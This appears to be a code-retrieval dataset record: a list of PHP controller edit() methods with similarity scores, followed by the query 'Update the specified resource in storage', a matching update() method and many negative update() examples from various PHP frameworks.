"public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit(form $form)\n {\n //\n }",
"public function actionEdit($id) { }",
"public function edit()\n {\n return view('admincp::edit');\n }",
"public function edit()\n {\n return view('scaffold::edit');\n }",
"public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }",
"public function edit()\n {\n return view('Person.edit');\n }",
"public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }",
"public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}",
"public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }",
"public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}",
"public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }",
"public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }",
"public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }",
"function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}",
"public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }",
"public function edit($id)\n {\n return $this->showForm($id);\n }",
"public function edit($id)\n {\n return $this->showForm($id);\n }",
"protected function _edit(){\n\t\treturn $this->_editForm();\n\t}",
"public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }",
"public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }",
"public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}",
"public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}",
"public function edit($id)\n {\n return view('models::edit');\n }",
"public function edit()\n {\n return view('home::edit');\n }",
"public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }",
"public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }",
"public function edit()\n {\n return view('user::edit');\n }",
"public function edit()\n {\n return view('user::edit');\n }",
"public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }",
"public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }",
"public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return view('consultas::edit');\n }",
"public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }",
"public function edit()\n {\n return view('dashboard::edit');\n }",
"public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }",
"public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }",
"public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }",
"public function edit() {\n return view('routes::edit');\n }",
"public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }",
"public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return view('cataloguemodule::edit');\n }",
"public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }",
"public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }",
"public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }",
"public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }",
"public function edit()\n {\n return view('website::edit');\n }",
"public function edit()\n {\n return view('inventory::edit');\n }",
"public function edit()\n {\n return view('initializer::edit');\n }",
"public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }",
"public function edit($id)\n {\n return view('backend::edit');\n }",
"public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }",
"public function edit($id)\n {\n return view('crm::edit');\n }",
"public function edit($id)\n {\n return view('crm::edit');\n }",
"public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }",
"public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}",
"public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }",
"public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}",
"public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }",
"public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }",
"public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }",
"public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }",
"public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}"
]
| [
"0.78550774",
"0.7692893",
"0.7273195",
"0.7242132",
"0.7170847",
"0.70622855",
"0.7053459",
"0.6982539",
"0.69467914",
"0.6945275",
"0.6941114",
"0.6928077",
"0.69019294",
"0.68976134",
"0.68976134",
"0.6877213",
"0.68636996",
"0.68592185",
"0.68566656",
"0.6844697",
"0.68336326",
"0.6811471",
"0.68060875",
"0.68047357",
"0.68018645",
"0.6795623",
"0.6791791",
"0.6791791",
"0.6787701",
"0.67837197",
"0.67791027",
"0.677645",
"0.6768301",
"0.6760122",
"0.67458534",
"0.67458534",
"0.67443407",
"0.67425704",
"0.6739898",
"0.6735328",
"0.6725465",
"0.6712817",
"0.6693891",
"0.6692419",
"0.6688581",
"0.66879624",
"0.6687282",
"0.6684741",
"0.6682786",
"0.6668777",
"0.6668427",
"0.6665287",
"0.6665287",
"0.66610634",
"0.6660843",
"0.66589665",
"0.66567147",
"0.66545695",
"0.66527975",
"0.6642529",
"0.6633056",
"0.6630304",
"0.6627662",
"0.6627662",
"0.66192114",
"0.6619003",
"0.66153085",
"0.6614968",
"0.6609744",
"0.66086483",
"0.66060555",
"0.6596137",
"0.65950733",
"0.6594648",
"0.65902114",
"0.6589043",
"0.6587102",
"0.65799844",
"0.65799403",
"0.65799177",
"0.657708",
"0.65760696",
"0.65739626",
"0.656931",
"0.6567826",
"0.65663105",
"0.65660435",
"0.65615267",
"0.6561447",
"0.6561447",
"0.65576506",
"0.655686",
"0.6556527",
"0.6555543",
"0.6555445",
"0.65552044",
"0.65543956",
"0.65543705",
"0.6548264",
"0.65475875",
"0.65447706"
]
| 0.0 | -1 |
Update the specified resource in storage. | public function update(UserUpdateRequest $request, User $user)
{
$this->authorize('admin.users.edit', [$user->id]);
try {
$user->update($request->all());
$user->roles()->sync($request->roles);
return redirect()->route('admin.users.show', ['id' => $user->id])->with(['type' => 'success', 'message' => __('messages.success.update')]);
} catch (\Exception $e) {
return redirect()->back()->with(['type' => 'danger', 'message' => __('messages.danger.update')])->withInput();
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }",
"public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }",
"public function update(Request $request, Resource $resource)\n {\n //\n }",
"public function updateStream($resource);",
"public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }",
"protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }",
"public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }",
"public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }",
"public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}",
"public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }",
"public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }",
"protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }",
"public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }",
"public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }",
"public function update($path);",
"public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }",
"public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }",
"public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }",
"public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}",
"public function updateStream($path, $resource, Config $config)\n {\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }",
"public function update($data) {}",
"public function update($data) {}",
"public function putStream($resource);",
"public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }",
"public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }",
"public function update($entity);",
"public function update($entity);",
"public function setResource($resource);",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }",
"public function isUpdateResource();",
"public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }",
"public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }",
"public function store($data, Resource $resource);",
"public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }",
"public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }",
"public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }",
"public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }",
"public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }",
"public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }",
"public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }",
"public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }",
"public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }",
